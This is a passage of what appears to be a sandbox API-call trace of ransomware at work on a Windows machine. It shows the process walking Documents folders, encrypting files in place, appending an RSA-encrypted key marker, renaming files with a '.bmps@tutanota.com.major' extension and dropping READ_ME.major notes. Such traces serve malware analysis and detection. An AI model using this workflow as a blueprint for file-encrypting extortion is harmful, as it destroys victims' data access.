(lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\0XP1ibgaW3KvAg.ots", dwFileAttributes=0x80) returned 1 [0156.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0156.088] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x5b0620 [0156.088] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0156.088] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\0XP1ibgaW3KvAg.ots" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\0xp1ibgaw3kvag.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc [0156.088] GetFileSizeEx (in: hFile=0x6bc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=54784) returned 1 [0156.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd600) returned 0x2e60f28 [0156.089] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd600) returned 0x6538b0 [0156.089] ReadFile (in: hFile=0x6bc, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0xd600, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0xd600, lpOverlapped=0x0) returned 1 [0156.090] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=-54784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.091] WriteFile (in: hFile=0x6bc, lpBuffer=0x6538b0*, nNumberOfBytesToWrite=0xd600, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd600, lpOverlapped=0x0) returned 1 [0156.091] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.091] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.091] SetFilePointer (in: hFile=0x6bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd600 [0156.091] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.091] WriteFile (in: hFile=0x6bc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.091] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.091] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.092] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.092] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.092] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="YSNyZLc8AS7PoLnUW9t9jP+FJFhKSw03uQbQUe8Kyi2D8nv+VOKI1qIhVraTIZbm\n5erCbqS5Jsy+75hIsH6IaWCUwfBuyjkDTwGvriIRJJkqnLoedtXpuDb5lJkNsyga\noYBdNGoTtzVuthGHQYrKT4o07ItLv6whx5dJyX+s2uNt7aWNukHbbGEHRje6Uo7S\nebC897PyMVM+heF6rXk+57nQXRXIP8TK3LB+2B5iLiLCWm0pJGe7zjxh/SpVNk9c\nKVABeKf5OMiqYdue9566S7j1UXixbpC8ZmrDbVK1N51LbmcZdd5KtQvxjmThlFHI\n9rhlATDnRnkuUq1AfRydtw==\n", pcchString=0x2e3f9a8) returned 1 [0156.092] WriteFile (in: hFile=0x6bc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.092] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.092] WriteFile (in: hFile=0x6bc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.092] CloseHandle (hObject=0x6bc) returned 1 [0156.092] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.092] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\0XP1ibgaW3KvAg.ots" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\0xp1ibgaw3kvag.ots"), lpNewFileName="\\Users\\FD1HVy\\Documents\\QIddoQWl8eDSDIqz\\0XP1ibgaW3KvAg.ots.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\qiddoqwl8edsdiqz\\0xp1ibgaw3kvag.ots.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b0620 | out: hHeap=0x570000) returned 1 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0156.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb00 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0156.094] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17330a70, ftCreationTime.dwHighDateTime=0x1d4d337, ftLastAccessTime.dwLowDateTime=0xf805ef0, ftLastAccessTime.dwHighDateTime=0x1d4cacb, ftLastWriteTime.dwLowDateTime=0x17051aa5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631140 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0156.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0156.094] GetLastError () returned 0x0 [0156.094] SetLastError (dwErrCode=0x0) [0156.094] GetLastError () returned 0x0 [0156.094] SetLastError (dwErrCode=0x0) [0156.094] GetLastError () returned 0x0 [0156.094] SetLastError (dwErrCode=0x0) [0156.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0156.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0156.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6311c0 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6311c0 | out: hHeap=0x570000) returned 1 [0156.094] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0156.094] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.094] FindNextFileW (in: hFindFile=0x631140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17330a70, ftCreationTime.dwHighDateTime=0x1d4d337, ftLastAccessTime.dwLowDateTime=0xf805ef0, ftLastAccessTime.dwHighDateTime=0x1d4cacb, ftLastWriteTime.dwLowDateTime=0x17051aa5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0156.095] GetLastError () returned 0x0 [0156.095] SetLastError (dwErrCode=0x0) [0156.095] GetLastError () returned 0x0 [0156.095] SetLastError (dwErrCode=0x0) [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0156.095] GetLastError () returned 0x0 [0156.095] SetLastError (dwErrCode=0x0) [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be3c8 [0156.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6315c0 [0156.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6315c0 | out: hHeap=0x570000) returned 1 [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404e0 [0156.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404e0 | out: hHeap=0x570000) returned 1 [0156.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0156.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.095] FindNextFileW (in: hFindFile=0x631140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e316620, ftCreationTime.dwHighDateTime=0x1d4cc51, ftLastAccessTime.dwLowDateTime=0x10109bb0, ftLastAccessTime.dwHighDateTime=0x1d4cbb5, ftLastWriteTime.dwLowDateTime=0x10109bb0, ftLastWriteTime.dwHighDateTime=0x1d4cbb5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="4edlql", cAlternateFileName="")) returned 1 [0156.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0156.095] GetLastError () returned 0x0 [0156.095] SetLastError (dwErrCode=0x0) [0156.095] GetLastError () returned 0x0 [0156.095] SetLastError (dwErrCode=0x0) [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6d28 [0156.095] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0156.095] GetLastError () returned 0x0 [0156.095] SetLastError (dwErrCode=0x0) [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bebb0 [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be268 [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1f0 [0156.095] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0156.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0156.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7960 [0156.096] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0156.096] GetLastError () returned 0x0 [0156.096] SetLastError (dwErrCode=0x0) [0156.096] GetLastError () returned 0x0 [0156.096] SetLastError (dwErrCode=0x0) [0156.096] GetLastError () returned 0x0 [0156.096] SetLastError (dwErrCode=0x0) [0156.096] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdcb8 [0156.096] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\4edlql\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\4edlql\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0156.097] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdcb8 | out: hHeap=0x570000) returned 1 [0156.097] WriteFile (in: hFile=0x6c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.098] CloseHandle (hObject=0x6c0) returned 1 [0156.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7960 | out: hHeap=0x570000) returned 1 [0156.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0156.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1f0 | out: hHeap=0x570000) returned 1 [0156.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be268 | out: hHeap=0x570000) returned 1 [0156.098] FindNextFileW (in: hFindFile=0x631140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x18bff6e0, ftCreationTime.dwHighDateTime=0x1d4cf64, ftLastAccessTime.dwLowDateTime=0xa9a388b0, ftLastAccessTime.dwHighDateTime=0x1d4c605, ftLastWriteTime.dwLowDateTime=0xa9a388b0, ftLastWriteTime.dwHighDateTime=0x1d4c605, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Dqh2Lyx5DPbcADWmSj", cAlternateFileName="DQH2LY~1")) returned 1 [0156.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6d28 | out: hHeap=0x570000) returned 1 [0156.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0156.098] GetLastError () returned 0x0 [0156.098] SetLastError (dwErrCode=0x0) [0156.098] GetLastError () returned 0x0 [0156.098] SetLastError (dwErrCode=0x0) [0156.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0156.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0156.098] GetLastError () returned 0x0 [0156.098] SetLastError (dwErrCode=0x0) [0156.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.098] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.098] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdbc8 [0156.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0156.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0156.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0156.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d290 [0156.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0156.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b79e8 [0156.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0156.099] GetLastError () returned 0x0 [0156.099] SetLastError (dwErrCode=0x0) [0156.099] GetLastError () returned 0x0 [0156.099] SetLastError (dwErrCode=0x0) [0156.099] GetLastError () returned 0x0 [0156.099] SetLastError (dwErrCode=0x0) [0156.099] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.099] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\Dqh2Lyx5DPbcADWmSj\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\dqh2lyx5dpbcadwmsj\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0156.099] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.099] WriteFile (in: hFile=0x6c0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.100] CloseHandle (hObject=0x6c0) returned 1 [0156.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0156.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d290 | out: hHeap=0x570000) returned 1 [0156.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0156.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0156.100] FindNextFileW (in: hFindFile=0x631140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ea00380, ftCreationTime.dwHighDateTime=0x1d4cdd1, ftLastAccessTime.dwLowDateTime=0x8979c690, ftLastAccessTime.dwHighDateTime=0x1d4cc7b, ftLastWriteTime.dwLowDateTime=0x8979c690, ftLastWriteTime.dwHighDateTime=0x1d4cc7b, nFileSizeHigh=0x0, nFileSizeLow=0x9684, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="hyTP eabQy_cNDtOCad.doc", cAlternateFileName="HYTPEA~1.DOC")) returned 1 [0156.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0156.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0156.100] GetLastError () returned 0x0 [0156.100] SetLastError (dwErrCode=0x0) [0156.100] GetLastError () returned 0x0 [0156.100] SetLastError (dwErrCode=0x0) [0156.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0156.100] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0156.100] GetLastError () returned 0x0 [0156.100] SetLastError (dwErrCode=0x0) [0156.100] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0156.101] FindNextFileW (in: hFindFile=0x631140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17051aa5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17051aa5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17051aa5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0156.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0156.101] GetLastError () returned 0x0 [0156.101] SetLastError (dwErrCode=0x0) [0156.101] GetLastError () returned 0x0 [0156.101] SetLastError (dwErrCode=0x0) [0156.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b90 [0156.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0156.101] GetLastError () returned 0x0 [0156.101] SetLastError (dwErrCode=0x0) [0156.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.101] FindNextFileW (in: hFindFile=0x631140, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17051aa5, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17051aa5, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17051aa5, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0156.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0156.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.101] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.101] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\hyTP eabQy_cNDtOCad.doc", dwFileAttributes=0x80) returned 1 [0156.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0156.101] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0340 [0156.101] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0156.101] CreateFileW (lpFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\hyTP eabQy_cNDtOCad.doc" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\hytp eabqy_cndtocad.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c0 [0156.101] GetFileSizeEx (in: hFile=0x6c0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=38532) returned 1 [0156.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9684) returned 0x2e60f28 [0156.102] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x9684) returned 0x6538b0 [0156.102] ReadFile (in: hFile=0x6c0, lpBuffer=0x2e60f28, nNumberOfBytesToRead=0x9684, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e60f28*, lpNumberOfBytesRead=0x2e3f9b4*=0x9684, lpOverlapped=0x0) returned 1 [0156.103] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=-38532, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.103] WriteFile (in: hFile=0x6c0, lpBuffer=0x6538b0*, nNumberOfBytesToWrite=0x9684, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x9684, lpOverlapped=0x0) returned 1 [0156.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e60f28 | out: hHeap=0x570000) returned 1 [0156.103] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.103] SetFilePointer (in: hFile=0x6c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x9684 [0156.103] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.103] WriteFile (in: hFile=0x6c0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.104] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.104] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.104] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.104] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.104] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: 